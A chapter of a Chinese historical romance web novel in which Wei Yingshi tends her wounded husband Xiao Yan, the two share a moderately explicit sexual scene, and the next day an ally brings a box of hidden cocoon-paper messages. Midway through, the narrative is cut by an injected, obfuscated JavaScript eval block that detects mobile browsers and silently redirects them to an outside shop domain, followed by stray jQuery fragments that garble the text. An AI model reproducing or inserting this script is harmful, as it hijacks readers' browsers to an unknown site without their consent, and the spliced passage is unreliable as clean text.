青杄将更换的衣裳备好,整整齐齐地叠放在花梨案台上,便轻手轻脚地退了出去,顺手带上了门。

    卫莺时褪去外衣,绕过那架紫檀屏风,水汽便扑面而来。萧衍已在泉水中浸着了,整个人背对着她,只露出宽阔舒展的肩背。

    水汽氤氲之中,几道深可见骨的伤疤沿着脊骨斜斜地蜿蜒而下,此刻已结了暗褐色的痂,在水光中显得格外狰狞。

    她一步一步迈入水中,温热的泉水漫过腰际,她才停住,没有走近。

    “这么见外?”萧衍原本阖着眼,这时微微睁开一条缝,目光懒懒地在她身上走了一遭,唇角便弯了起来,“浸了水,比不穿还勾人。”

    卫莺时咬着牙,捧了一掌水泼在他脸上。

    “呦,越发放肆了。”

    萧衍也不恼,抬手抹去脸上的水珠,动作却牵动了肋骨的伤口,眉心不由自主地皱了一下。

    卫莺时看得真切,涉水走到他身边,取了一块干净的棉布,替他细细地擦去面上的水痕。

    萧衍便一动不动,乖乖地任她摆弄。

    卫莺时打上澡豆,仔仔细细地替他搓洗,指尖带着细密的泡沫,从他肩背一路滑到腰侧,再到小腹。

    她的力道不重不轻,掌心的温度隔着泡沫传过来,叫他原本松弛的脊背一寸寸绷紧起来。

    她已经许久不曾这样近过他的身了。淡淡的皂角香混着她身上特有的气息,萦绕在鼻端,软绵绵地缠上来,简直是一种活生生的煎熬。

    她就在他一伸手便能抱进怀里的地方,可他只能硬生生地压下满腔躁动,目光转向别处。

    卫莺时很快便察觉了他身体的变化,掌下的肌理紧绷如石,体温也明显地升了上来。

    她指尖一顿,耳根微热,却硬着头皮忽视,继续手中的动作。可那变化实在难以忽略,她的心跳也不由加快。

    萧衍从池边捞起一块帕子敷在脸上,声音闷闷的,“你继续。”

    卫莺时咬着牙,愤愤地继续擦洗,心里却忍不住想,自己当真是脾气太好了,还是自己的接受度被他一步步拉高了?

    她垂着眼,余光瞥见他偏过头去不再看她,紧绷的肩背才稍稍放松了一些。

    也对,萧衍是个正常的男人,有些反应也是正常的。

    好不容易沐浴完,她替他擦干身子,在伤口上重新敷了药,又换上干净的寝衣,这才退开半步,一言不发地望着他。

    此处没有纸笔,卫莺时只能比划了几个简单的手势,意思是他该先回房歇息。

    萧衍大约是看懂了,又大约是故意的,坐在一旁的小榻上纹丝不动,目光悠悠地望着她。

    卫莺时瞪了他一眼,转过身绕到纱帘后头,褪去湿透的衣衫,一件件擦干身上水渍。烛火将她的身形投在帘幔上,纤秾合度,影影绰绰,像一幅洇水的工笔。

    萧衍望着那轮廓,轻轻换了个坐姿,偏过头去,只觉得口干舌燥。

    卫莺时换了干爽的衣裳出来,与他一前一后回了房中。

    进了门,她便走到桌边,将备好的茶水斟了一杯,搁在一旁晾凉,紧接着就进了里间。

    他饮完茶,回到内间时,卫莺时正坐在床上看书,面上没什么表情,却透着一股倦意。

    她换了一件素白的中衣,宫灯的光透过纱罩,将她的脖颈与锁骨染上一层温暖的蜜色,看起来分外柔软。

    他走了过去。卫莺时合上书页,往里头挪了挪,双手合十贴在颊侧,做了一个睡觉的姿势,又抬手指了指宫灯。

    萧衍会意,将灯熄了。外间透进来一点微弱的光,勉强照见彼此的轮廓。

    卫莺时藉着那点光,小心地扶着他的腰,让他躺下。她调整了枕头的角度,又将他受伤的那侧肩膀托了托,直到他整个人妥帖地嵌进被褥里,才轻轻舒了口气。

    萧衍躺在那里,望着她近在咫尺的眉眼。他原想说“不必如此”,可话到唇边,却怎么也说不出口。

    卫莺时拉过他的手,在他掌心一笔一划地写:还痛吗?

    他低低地笑了笑,反手握住她的指尖,慵懒道:“痛。你亲我一下,就不痛了。”

    她沉默了片刻。然后,她用手肘撑起身子,慢慢地从自己的被子里钻进了他的被窝,俯身压着他的肩,在他的唇上轻轻碰了一下,一触即分。

    萧衍显然不打算让这个吻就此结束。

    他伸手扣住她的后脑,将她重新拉近。

    黑暗仿佛为二人拢上了一层无形的纱幔,看不清彼此的面容,反而让所有的触碰都愈发大胆起来。

    唇舌交缠,呼吸错乱,她的身体被他搂紧,密密实实地贴合在他身上,隔着薄薄的寝衣几乎能感受到彼此的心跳。

    卫莺时的呼吸渐渐急促起来,想要挣脱,却被那双温热的手掌扶正了脸颊。

    萧衍的指尖从她的鼻尖似触非触地划下,最终落在她润泽的唇瓣上,指腹在那饱满的唇珠上反复流连。

    她张口想制止他这样磨人的动作,却无意中在他的指尖轻轻咬了一下。

    他的呼吸被她的动作骤然逼停,“你今日在藏书阁看的那一页,记清楚了么?”

    卫莺时愣了几秒,随后急促地摇了摇头。

    萧衍再次扣紧她的发,将她拉得更近。她不能像往常一样发出黏腻的呜咽,可正因如此,唇舌交缠时那些细微的水声便格外清晰,在这寂静的夜里一寸寸地渗进耳中,教人面红耳热。

    “我并非有意轻薄你,”萧衍的声音带着一种蛊惑人心的意味。

    “男女之事并非可耻之事,而是两情相悦之人情至深处的自然流露。况且……”他偏过头,温热的鼻息落在她耳侧,“我们是名正言顺的夫妻,不是吗?”

    卫莺时被他吻得晕晕乎乎,脑中混沌一片,那双扣在她腰间的手掌将她整个人都圈在怀中。

    “你记得对不对?”他的声音低下去。

    卫莺时微微蹙起眉心,神情恍惚地望着他。

    “那幅画。”

    扣住她腰侧的那只手挑开了她的衣带。

    在昏暗之中,纱幔低垂,再可耻的事都像是理所当然的。

    烛火遥遥地亮在外间,透过层层幔帐渗进来一点温柔的红,将两个人的轮廓融为一体。

    卫莺时的双膝跪在他的腰侧,乌黑的长发一下一下地拂过他的胸口。

    她发不出声音,只能微微启唇,竭力喘息,看起来分外可怜。

    “今日我想让你明白男女之情与兄妹之情的分别。”

    “你曾想过与姚大人做此事么?”滚烫的字词拂过她的耳廓,“哪怕一次?”

    卫莺时眼睫一颤,随即垂下眼眸,重重地摇了摇头。

    她浑身上下没有一处不润着潮意,像是方才从水中捞出一般,肌肤上薄薄的水汽在烛火下泛着细碎的光。

    她眨了眨眼,小腹酸痛之处又被他克制不住的情动所迫,眼眶一热,泪水便顺着面颊无声地滑落下来,一滴、两滴,落在他的胸膛之上。

    萧衍今夜偏要欺我口不能言么?卫莺时委屈地望着他。

    她没处讨饶,也说不出话来,只能低下头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788154|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,在他唇上轻轻落下一个吻。

    随即,她的手指探到他的心口处,一笔一划地写下他的名字。圆润的短甲掠过饱满的胸膛,留下一道极浅的痕迹。

    萧衍仰起头,喉结上下滚了滚,深深吸了一口她身上清甜的气息。他终于握住了那只不安分的手,扣进掌心,指节根根收紧。

    她是爱他的。

    即使她不愿宣之于口,她比以往更加潮热的身体,她细微的颤抖和不由自主的靠近,都已经先她一步告诉了他答案。

    可她的动作实在太轻,萧衍总觉得不尽兴。他并非不会叫她也舒适,只是从前在宫中之时,无人可让他试炼。那些年学来的东西,到了她身上,便觉处处不够。

    若是每次都只能让他一人舒爽,她却为此忍耐、为此流泪,那他便不能忍受。

    卫莺时体力终究不支,萧衍却并未因此放过她。

    ……

    翌日,照旧在书房议事。

    日光透过半卷的竹帘,在青砖地上落下一道明晃晃的光带。

    陆秉进了门,朝萧衍拱了拱手:“殿下,今日怎么巳正方召我前来?”

    萧衍没答话,只是眉梢微挑,唇角噙着一丝若有若无的笑意。

    卫莺时坐在一旁的圈椅上,坐立难安。她抬手去握炭笔,想在纸上写些什么,可指尖刚触到笔杆,手腕便是一阵酸软,五指使不上力。

    炭笔从指间滑落,直直地坠下去,骨碌碌地滚到陆秉脚边才堪堪停住。

    卫莺时面上一热,愠怒地瞪了萧衍一眼。那人仍旧不动声色地坐在主位上,眼角微弯,像是在忍笑。

    她恨恨地收回目光,低头揉着酸痛的手腕,心里头翻来覆去地骂了好几遍。

    陆秉不紧不慢地弯下腰,将脚边那支炭笔捡起来,上前几步放到她手边,退开时目光在她带着怒意的面颊上扫了一眼。

    唇边笑意更深了几分:“呦,玩得挺花。”

    卫莺时恨不得将手边的茶水泼到他脸上。可也只在心里头这样想一想罢了,毕竟她茶碗都端不稳。

    她垂下眼睫不看他,暗自决定回去后日日去佛龛前上香祈福,求菩萨叫萧衍快些好起来。

    不然再这么折腾下去,她迟早要得腱鞘炎。

    陆秉收回目光,神色也正经了些,从怀中取出一只巴掌大的乌木匣子,搁在书案中央:“知道王妃想问李福全的事,我正是为此而来。”

    卫莺时闻言,抬眸眨了眨眼,算是应了。

    “昨日我命人将他房中青砖一块块撬开,在他床下暗格的砖石下方,寻到了这只木匣。”

    陆秉拉了张圈椅坐下,“我手下的兄弟撬完地砖便撤了,管杀不管埋,地砖的修缮还得殿下府上的工匠来补。不过李福全这条线既然挖出来了,顺着查下去,兴许能牵出更多东西。”

    萧衍将匣盖掀开,露出内里一叠泛黄的纸片,纸张质地细密坚韧,与寻常宣纸截然不同。

    “匣中藏的皆是茧纸,阔约一指、长三四寸,用的是章草简写,节省空间。每张纸都用蜡封裹过,防雨水洇墨。”

    卫莺时凑到萧衍身旁,低头细看那些茧纸上的字迹,确实如陆秉所言,使用章草简写。

    而这种纸张她只在留都听说过,而无缘得见,茧纸是用蚕丝制成,肌理细腻温润,久藏不易泛黄,折叠不易起裂,因原料珍贵,产量稀少,多为宫廷所用,属上等珍纸,价格不菲。

    想来传信之人必然是宫中之人无疑。

    萧衍合上木匣,指腹在匣面上轻轻叩了两下,没有说话。